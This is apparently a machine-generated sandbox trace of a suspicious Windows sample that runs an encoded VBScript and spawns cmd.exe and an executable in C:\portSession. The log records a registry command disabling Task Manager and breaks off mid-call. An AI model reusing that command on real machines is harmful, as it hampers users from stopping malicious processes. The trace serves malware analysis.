(normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 655 start_va = 0x6e60000 end_va = 0x6ea4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000010.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000010.db") Region: id = 656 start_va = 0x6eb0000 end_va = 0x6eb3fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 657 start_va = 0x6ec0000 end_va = 0x6f4dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000001.db") Region: id = 658 start_va = 0x6f50000 end_va = 0x6f60fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "propsys.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\propsys.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\propsys.dll.mui") Region: id = 659 start_va = 0x6f70000 end_va = 0x6f73fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "cversions.1.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\cversions.1.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\cversions.1.db") Region: id = 660 start_va = 0x6f80000 end_va = 0x6f94fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000001b.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\caches\\{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x000000000000001b.db") Region: id = 661 start_va = 0x6fa0000 end_va = 0x6fa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006fa0000" filename = "" Region: id = 662 start_va = 0x71c00000 end_va = 0x71d7dfff monitored = 0 entry_point = 0x71c7c630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll") Region: id = 663 start_va = 0x73f60000 end_va = 0x7422afff monitored = 0 entry_point = 0x7419c4c0 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll") Region: id = 664 start_va = 0x6f70000 end_va = 0x6f70fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000006f70000" filename = "" Thread: id = 8 os_tid = 0x1170 [0073.557] malloc (_Size=0x80) returned 0x592880 [0073.563] __dllonexit () returned 0x6fc5c960 [0073.563] __dllonexit () returned 0x6fc5c970 [0073.563] __dllonexit () returned 0x6fc5c980 [0073.565] GetUserDefaultLCID () returned 0x409 [0073.565] GetVersion () returned 0x295a000a [0073.565] GetModuleHandleW (lpModuleName="api-ms-win-core-processthreads-l1-1-2.dll") returned 0x75820000 [0073.566] GetProcAddress (hModule=0x75820000, lpProcName="QueryProtectedPolicy") returned 0x75d52bc0 [0073.566] VirtualProtect (in: lpAddress=0x6fc8e328, dwSize=0x4, flNewProtect=0x4, lpflOldProtect=0x18d128 | out: lpflOldProtect=0x18d128*=0x2) returned 1 [0073.566] VirtualProtect (in: lpAddress=0x6fc8e328, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x18d128 | out: lpflOldProtect=0x18d128*=0x4) returned 1 [0073.570] malloc (_Size=0x38) returned 0x592908 [0073.574] malloc (_Size=0x214) returned 0x592948 [0073.574] GetUserDefaultLCID () returned 0x409 [0073.574] GetACP () returned 0x4e4 [0073.575] LoadLibraryExW (lpLibFileName="amsi.dll", hFile=0x0, dwFlags=0x800) returned 0x6fc10000 [0073.588] GetProcAddress (hModule=0x6fc10000, lpProcName="AmsiInitialize") returned 0x6fc13d40 [0073.588] GetProcAddress (hModule=0x6fc10000, lpProcName="AmsiScanString") returned 0x6fc140e0 [0073.588] AmsiInitialize () returned 0x0 [0073.636] free (_Block=0x592908) [0073.671] GetCurrentThreadId () returned 0x1170 [0073.671] malloc (_Size=0xb4) returned 0x592f10 [0073.671] GetCurrentThreadId () returned 0x1170 [0073.671] malloc (_Size=0x14) returned 0x592908 [0073.671] malloc (_Size=0x1c) returned 0x592d90 [0073.671] malloc (_Size=0x78) returned 0x592fd0 [0073.672] malloc (_Size=0x1c) returned 0x592db8 [0073.672] GetCurrentThreadId () returned 0x1170 [0073.672] malloc (_Size=0x44) returned 0x593050 [0073.672] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0073.673] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x18ea40, cchData=6 | out: lpLCData="1252") returned 5 [0073.673] IsValidCodePage (CodePage=0x4e4) returned 1 [0073.673] GetModuleHandleW (lpModuleName="api-ms-win-core-delayload-l1-1-1.dll") returned 0x75c80000 [0073.673] GetProcAddress (hModule=0x75c80000, lpProcName="ResolveDelayLoadedAPI") returned 0x75d42570 [0073.673] GetProcAddress (hModule=0x75c80000, lpProcName="ResolveDelayLoadsFromDll") returned 0x75db6250 [0073.673] ResolveDelayLoadedAPI () returned 0x75690060 [0073.674] CoCreateInstance (in: rclsid=0x6fc21fcc*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6fc21f8c*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x592b24 | out: ppv=0x592b24*=0x74c330) returned 0x0 [0073.674] IUnknown:AddRef (This=0x74c330) returned 0x2 [0073.674] GetCurrentProcessId () returned 0x22c [0073.674] GetCurrentThreadId () returned 0x1170 [0073.674] GetTickCount () returned 0x1a8f195 [0073.674] ISystemDebugEventFire:BeginSession (This=0x74c330, guidSourceID=0x6fc21fbc, strSessionName="VBScript:00000556:00004464:27849109") returned 0x0 [0073.674] GetCurrentThreadId () returned 0x1170 [0073.675] malloc (_Size=0x28) returned 0x5930a0 [0073.675] malloc (_Size=0x88) returned 0x5930d0 [0073.675] malloc (_Size=0x40) returned 0x593160 [0073.675] malloc (_Size=0x104) returned 0x5931a8 [0073.675] memcpy (in: _Dst=0x5931dc, _Src=0x753d1c, _Size=0x10 | out: _Dst=0x5931dc) returned 0x5931dc [0073.675] GetCurrentThreadId () returned 0x1170 [0073.675] malloc (_Size=0x28) returned 0x5932b8 [0073.675] memcpy (in: _Dst=0x59321c, _Src=0x74ae6c, _Size=0x8 | out: _Dst=0x59321c) returned 0x59321c [0074.306] malloc (_Size=0x80) returned 0x597100 [0074.307] GetVersionExA (in: lpVersionInformation=0x18d6c4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x80, dwMinorVersion=0x0, dwBuildNumber=0x6fb96200, dwPlatformId=0x80, szCSDVersion="\x80") | out: lpVersionInformation=0x18d6c4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0074.307] GetUserDefaultLCID () returned 0x409 [0074.307] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x18d28c, cchData=2 | out: lpLCData="") returned 2 [0074.308] _wcsicmp (_String1=".vbs", _String2=".vbe") returned 14 [0074.308] _wcsicmp (_String1=".vbe", _String2=".vbe") returned 0 [0074.324] GetSignedDataMsg () returned 0x0 [0074.324] GetCurrentProcess () returned 0xffffffff [0074.325] DuplicateHandle (in: hSourceProcessHandle=0xffffffff, hSourceHandle=0x19c, hTargetProcessHandle=0xffffffff, lpTargetHandle=0x18dbbc, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x18dbbc*=0x1f0) returned 1 [0074.325] GetFileSize (in: hFile=0x1f0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xc9 [0074.325] malloc (_Size=0xc9) returned 0x5980c0 [0074.325] SetFilePointer (in: hFile=0x1f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0074.325] ReadFile (in: hFile=0x1f0, lpBuffer=0x5980c0, nNumberOfBytesToRead=0xc9, lpNumberOfBytesRead=0x18db9c, lpOverlapped=0x0 | out: lpBuffer=0x5980c0*, lpNumberOfBytesRead=0x18db9c*=0xc9, lpOverlapped=0x0) returned 1 [0074.325] CoInitialize (pvReserved=0x0) returned 0x1 [0074.325] CoCreateInstance (in: rclsid=0x6fb911c0*(Data1=0x6290bd1, Data2=0x48aa, Data3=0x11d2, Data4=([0]=0x84, [1]=0x32, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6fb911d0*(Data1=0xe4d1c9b0, Data2=0x46e8, Data3=0x11d4, Data4=([0]=0xa2, [1]=0xa6, [2]=0x0, [3]=0x10, [4]=0x4b, [5]=0xd3, [6]=0x50, [7]=0x90)), ppv=0x18db78 | out: ppv=0x18db78*=0x598478) returned 0x0 [0074.349] malloc (_Size=0x80) returned 0x5973a8 [0074.350] __dllonexit () returned 0x6fb614b0 [0074.350] __dllonexit () returned 0x6fb614d0 [0074.363] GetVersionExA (in: lpVersionInformation=0x18c190*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x18c1dc, dwMinorVersion=0x6fb60962, dwBuildNumber=0x6fb60c2e, dwPlatformId=0x6fb60957, szCSDVersion="ñbOi\x03") | out: lpVersionInformation=0x18c190*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0074.363] GetProcessWindowStation () returned 0x90 [0074.363] GetUserObjectInformationA (in: hObj=0x90, nIndex=1, pvInfo=0x18c224, nLength=0xc, lpnLengthNeeded=0x18c18c | out: pvInfo=0x18c224, lpnLengthNeeded=0x18c18c) returned 1 [0074.363] malloc (_Size=0x2c) returned 0x598198 [0074.363] malloc (_Size=0x10) returned 0x5981d0 [0074.363] malloc (_Size=0x24) returned 0x5981e8 [0074.363] malloc (_Size=0x24) returned 0x598218 [0074.363] malloc (_Size=0x24) returned 0x598248 [0074.363] malloc (_Size=0x24) returned 0x598278 [0074.363] malloc (_Size=0x24) returned 0x5982a8 [0074.363] malloc (_Size=0x24) returned 0x5982d8 [0074.363] malloc (_Size=0x24) returned 0x598308 [0074.363] malloc (_Size=0x24) returned 0x598338 [0074.363] malloc (_Size=0x20) returned 0x598368 [0074.363] free (_Block=0x5981d0) [0074.363] malloc (_Size=0x24) returned 0x598390 [0074.363] malloc (_Size=0x24) returned 0x5983c0 [0074.367] malloc (_Size=0xc) returned 0x5981d0 [0074.367] malloc (_Size=0x1c) returned 0x5983f0 [0074.367] GetSystemInfo (in: lpSystemInfo=0x18cbc4 | out: lpSystemInfo=0x18cbc4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0074.368] VirtualQuery (in: lpAddress=0x18cc08, lpBuffer=0x18cbe8, dwLength=0x1c | out: lpBuffer=0x18cbe8*(BaseAddress=0x18c000, AllocationBase=0x90000, AllocationProtect=0x4, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0074.368] malloc (_Size=0x8) returned 0x590598 [0074.368] malloc (_Size=0x30) returned 0x598418 [0074.368] malloc (_Size=0x10) returned 0x598450 [0074.368] malloc (_Size=0x60) returned 0x598468 [0074.368] malloc (_Size=0xc) returned 0x5984d0 [0074.368] free (_Block=0x5981d0) [0074.369] _strnicmp (_Str1="") returned 1 [0089.975] _get_osfhandle (_FileHandle=1) returned 0x3c [0089.975] GetFileType (hFile=0x3c) returned 0x2 [0089.975] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0089.975] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x18ed8c | out: lpMode=0x18ed8c) returned 1 [0090.086] _get_osfhandle (_FileHandle=1) returned 0x3c [0090.086] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x13fabe0*, nNumberOfCharsToWrite=0xf, lpNumberOfCharsWritten=0x18eda4, lpReserved=0x0 | out: lpBuffer=0x13fabe0*, lpNumberOfCharsWritten=0x18eda4*=0xf) returned 1 [0090.216] _get_osfhandle (_FileHandle=1) returned 0x3c [0090.216] GetFileType (hFile=0x3c) returned 0x2 [0090.216] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0090.216] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x18f020 | out: lpMode=0x18f020) returned 1 [0090.419] _get_osfhandle (_FileHandle=1) returned 0x3c [0090.419] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x76ac08*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0x18f038, lpReserved=0x0 | out: lpBuffer=0x76ac08*, lpNumberOfCharsWritten=0x18f038*=0x21) returned 1 [0090.661] _vsnwprintf (in: _Buffer=0x1407940, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f040 | out: _Buffer=" ") returned 2 [0090.662] _get_osfhandle (_FileHandle=1) returned 0x3c [0090.662] GetFileType (hFile=0x3c) returned 0x2 [0090.662] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0090.662] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x18f018 | out: lpMode=0x18f018) returned 1 [0090.735] _get_osfhandle (_FileHandle=1) returned 0x3c [0090.735] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x1407940*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f030, lpReserved=0x0 | out: lpBuffer=0x1407940*, lpNumberOfCharsWritten=0x18f030*=0x2) returned 1 [0090.829] _vsnwprintf (in: _Buffer=0x1407940, _BufferCount=0x1fff, _Format=" %s ", _ArgList=0x18f050 | out: _Buffer=" & ") returned 3 [0090.829] _get_osfhandle (_FileHandle=1) returned 0x3c [0090.829] GetFileType (hFile=0x3c) returned 0x2 [0090.829] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0090.829] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x18f028 | out: lpMode=0x18f028) returned 1 [0090.977] _get_osfhandle (_FileHandle=1) returned 0x3c [0090.977] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x1407940*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x18f040, lpReserved=0x0 | out: lpBuffer=0x1407940*, lpNumberOfCharsWritten=0x18f040*=0x3) returned 1 [0091.102] _get_osfhandle (_FileHandle=1) returned 0x3c [0091.102] GetFileType (hFile=0x3c) returned 0x2 [0091.102] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0091.102] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x18f02c | out: lpMode=0x18f02c) returned 1 [0091.211] _get_osfhandle (_FileHandle=1) returned 0x3c [0091.211] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x76aa40*, nNumberOfCharsToWrite=0x3, lpNumberOfCharsWritten=0x18f044, lpReserved=0x0 | out: lpBuffer=0x76aa40*, lpNumberOfCharsWritten=0x18f044*=0x3) returned 1 [0091.320] _vsnwprintf (in: _Buffer=0x1407940, _BufferCount=0x1fff, _Format="%s ", _ArgList=0x18f04c | out: _Buffer=" add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 1 /f ") returned 107 [0091.320] _get_osfhandle (_FileHandle=1) returned 0x3c [0091.320] GetFileType (hFile=0x3c) returned 0x2 [0091.320] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0091.320] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x18f024 | out: lpMode=0x18f024) returned 1 [0091.414] _get_osfhandle (_FileHandle=1) returned 0x3c [0091.414] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x1407940*, nNumberOfCharsToWrite=0x6b, lpNumberOfCharsWritten=0x18f03c, lpReserved=0x0 | out: lpBuffer=0x1407940*, lpNumberOfCharsWritten=0x18f03c*=0x6b) returned 1 [0091.508] _vsnwprintf (in: _Buffer=0x1407940, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x18f060 | out: _Buffer="\r\n") returned 2 [0091.508] _get_osfhandle (_FileHandle=1) returned 0x3c [0091.508] GetFileType (hFile=0x3c) returned 0x2 [0091.508] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0091.508] GetConsoleMode (in: hConsoleHandle=0x3c, lpMode=0x18f038 | out: lpMode=0x18f038) returned 1 [0091.617] _get_osfhandle (_FileHandle=1) returned 0x3c [0091.617] WriteConsoleW (in: hConsoleOutput=0x3c, lpBuffer=0x1407940*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x18f050, lpReserved=0x0 | out: lpBuffer=0x1407940*, lpNumberOfCharsWritten=0x18f050*=0x2) returned 1 [0091.711] GetConsoleTitleW (in: lpConsoleTitle=0x18eb70, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.868] GetFileAttributesW (lpFileName="\"C:\\portSession\\componentnet.exe\"" (normalized: "c:\\portsession\\\"c:\\portsession\\componentnet.exe\"")) returned 0xffffffff [0091.869] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0091.869] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0091.869] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0091.869] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0091.869] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0091.869] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0091.869] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0091.870] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0091.870] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0091.870] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0091.870] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0091.870] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0091.870] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0091.870] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0091.870] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0091.870] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0091.870] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0091.870] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0091.870] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0091.870] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0091.870] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0091.870] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0091.870] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0091.870] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0091.870] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0091.870] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0091.870] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0091.870] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0091.870] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0091.871] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0091.871] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0091.871] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0091.871] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0091.871] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0091.871] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0091.871] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0091.871] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0091.871] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0091.871] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0091.871] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0091.871] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0091.871] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0091.871] _wcsicmp (_String1="\"C", _String2="DIR") returned -66 [0091.871] _wcsicmp (_String1="\"C", _String2="ERASE") returned -67 [0091.871] _wcsicmp (_String1="\"C", _String2="DEL") returned -66 [0091.871] _wcsicmp (_String1="\"C", _String2="TYPE") returned -82 [0091.871] _wcsicmp (_String1="\"C", _String2="COPY") returned -65 [0091.871] _wcsicmp (_String1="\"C", _String2="CD") returned -65 [0091.871] _wcsicmp (_String1="\"C", _String2="CHDIR") returned -65 [0091.871] _wcsicmp (_String1="\"C", _String2="RENAME") returned -80 [0091.871] _wcsicmp (_String1="\"C", _String2="REN") returned -80 [0091.872] _wcsicmp (_String1="\"C", _String2="ECHO") returned -67 [0091.872] _wcsicmp (_String1="\"C", _String2="SET") returned -81 [0091.872] _wcsicmp (_String1="\"C", _String2="PAUSE") returned -78 [0091.872] _wcsicmp (_String1="\"C", _String2="DATE") returned -66 [0091.872] _wcsicmp (_String1="\"C", _String2="TIME") returned -82 [0091.872] _wcsicmp (_String1="\"C", _String2="PROMPT") returned -78 [0091.872] _wcsicmp (_String1="\"C", _String2="MD") returned -75 [0091.872] _wcsicmp (_String1="\"C", _String2="MKDIR") returned -75 [0091.872] _wcsicmp (_String1="\"C", _String2="RD") returned -80 [0091.872] _wcsicmp (_String1="\"C", _String2="RMDIR") returned -80 [0091.872] _wcsicmp (_String1="\"C", _String2="PATH") returned -78 [0091.872] _wcsicmp (_String1="\"C", _String2="GOTO") returned -69 [0091.872] _wcsicmp (_String1="\"C", _String2="SHIFT") returned -81 [0091.872] _wcsicmp (_String1="\"C", _String2="CLS") returned -65 [0091.872] _wcsicmp (_String1="\"C", _String2="CALL") returned -65 [0091.872] _wcsicmp (_String1="\"C", _String2="VERIFY") returned -84 [0091.872] _wcsicmp (_String1="\"C", _String2="VER") returned -84 [0091.872] _wcsicmp (_String1="\"C", _String2="VOL") returned -84 [0091.872] _wcsicmp (_String1="\"C", _String2="EXIT") returned -67 [0091.872] _wcsicmp (_String1="\"C", _String2="SETLOCAL") returned -81 [0091.872] _wcsicmp (_String1="\"C", _String2="ENDLOCAL") returned -67 [0091.872] _wcsicmp (_String1="\"C", _String2="TITLE") returned -82 [0091.872] _wcsicmp (_String1="\"C", _String2="START") returned -81 [0091.873] _wcsicmp (_String1="\"C", _String2="DPATH") returned -66 [0091.873] _wcsicmp (_String1="\"C", _String2="KEYS") returned -73 [0091.873] _wcsicmp (_String1="\"C", _String2="MOVE") returned -75 [0091.873] _wcsicmp (_String1="\"C", _String2="PUSHD") returned -78 [0091.873] _wcsicmp (_String1="\"C", _String2="POPD") returned -78 [0091.873] _wcsicmp (_String1="\"C", _String2="ASSOC") returned -63 [0091.873] _wcsicmp (_String1="\"C", _String2="FTYPE") returned -68 [0091.873] _wcsicmp (_String1="\"C", _String2="BREAK") returned -64 [0091.873] _wcsicmp (_String1="\"C", _String2="COLOR") returned -65 [0091.873] _wcsicmp (_String1="\"C", _String2="MKLINK") returned -75 [0091.873] _wcsicmp (_String1="\"C", _String2="FOR") returned -68 [0091.873] _wcsicmp (_String1="\"C", _String2="IF") returned -71 [0091.873] _wcsicmp (_String1="\"C", _String2="REM") returned -80 [0091.873] GetProcessHeap () returned 0x760000 [0091.873] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x210) returned 0x778bf8 [0091.873] GetProcessHeap () returned 0x760000 [0091.873] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x50) returned 0x76ae00 [0091.873] _wcsnicmp (_String1="C:\\p", _String2="cmd ", _MaxCount=0x4) returned -51 [0091.874] GetProcessHeap () returned 0x760000 [0091.874] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x418) returned 0x778e10 [0091.874] SetErrorMode (uMode=0x0) returned 0x0 [0091.874] SetErrorMode (uMode=0x1) returned 0x0 [0091.874] GetFullPathNameW (in: lpFileName="C:\\portSession\\.", nBufferLength=0x208, lpBuffer=0x778e18, lpFilePart=0x18e67c | out: lpBuffer="C:\\portSession", lpFilePart=0x18e67c*="portSession") returned 0xe [0091.874] SetErrorMode (uMode=0x0) returned 0x1 [0091.874] GetProcessHeap () returned 0x760000 [0091.874] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x778e10, Size=0x48) returned 0x778e10 [0091.874] GetProcessHeap () returned 0x760000 [0091.874] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x778e10) returned 0x48 [0091.874] NeedCurrentDirectoryForExePathW (ExeName="C:\\portSession\\.") returned 1 [0091.874] GetProcessHeap () returned 0x760000 [0091.874] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x2c) returned 0x760ed0 [0091.874] GetProcessHeap () returned 0x760000 [0091.874] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0x4c) returned 0x76ae58 [0091.874] GetProcessHeap () returned 0x760000 [0091.875] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x76ae58, Size=0x2c) returned 0x76ae58 [0091.875] GetProcessHeap () returned 0x760000 [0091.875] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x76ae58) returned 0x2c [0091.875] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x13ff4a0, nSize=0x2000 | out: lpBuffer="") returned 0x35 [0091.875] GetProcessHeap () returned 0x760000 [0091.875] RtlAllocateHeap (HeapHandle=0x760000, Flags=0x8, Size=0xe0) returned 0x76ae90 [0091.877] GetProcessHeap () returned 0x760000 [0091.877] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x76ae90, Size=0x76) returned 0x76ae90 [0091.878] GetProcessHeap () returned 0x760000 [0091.878] RtlSizeHeap (HeapHandle=0x760000, Flags=0x0, MemoryPointer=0x76ae90) returned 0x76 [0091.878] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0091.878] FindFirstFileExW (in: lpFileName="C:\\portSession\\componentnet.exe" (normalized: "c:\\portsession\\componentnet.exe"), fInfoLevelId=0x1, lpFindFileData=0x18e428, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e428) returned 0x760aa8 [0091.878] GetProcessHeap () returned 0x760000 [0091.879] RtlReAllocateHeap (Heap=0x760000, Flags=0x0, Ptr=0x7678b8, Size=0x4) returned 0x761078 [0091.879] FindClose (in: hFindFile=0x760aa8 | out: hFindFile=0x760aa8) returned 1 [0091.879] _wcsicmp (_String1=".exe", _String2=".CMD") returned 2 [0091.879] _wcsicmp (_String1=".exe", _String2=".BAT") returned 3 [0091.879] GetConsoleTitleW (in: lpConsoleTitle=0x18e8fc, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0091.992] InitializeProcThreadAttributeList (in: lpAttributeList=0x18e828, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x18e80c | out: lpAttributeList=0x18e828, lpSize=0x18e80c) returned 1 [0091.992] UpdateProcThreadAttribute (in: lpAttributeList=0x18e828, dwFlags=0x0, Attribute=0x60001, lpValue=0x18e814, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x18e828, lpPreviousValue=0x0) returned 1 [0091.992] GetStartupInfoW (in: lpStartupInfo=0x18e860 | out: lpStartupInfo=0x18e860*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0091.992] GetProcessHeap () returned 0x760000 [0091.992] RtlAllocateHeap (HeapHandle=0x760000, 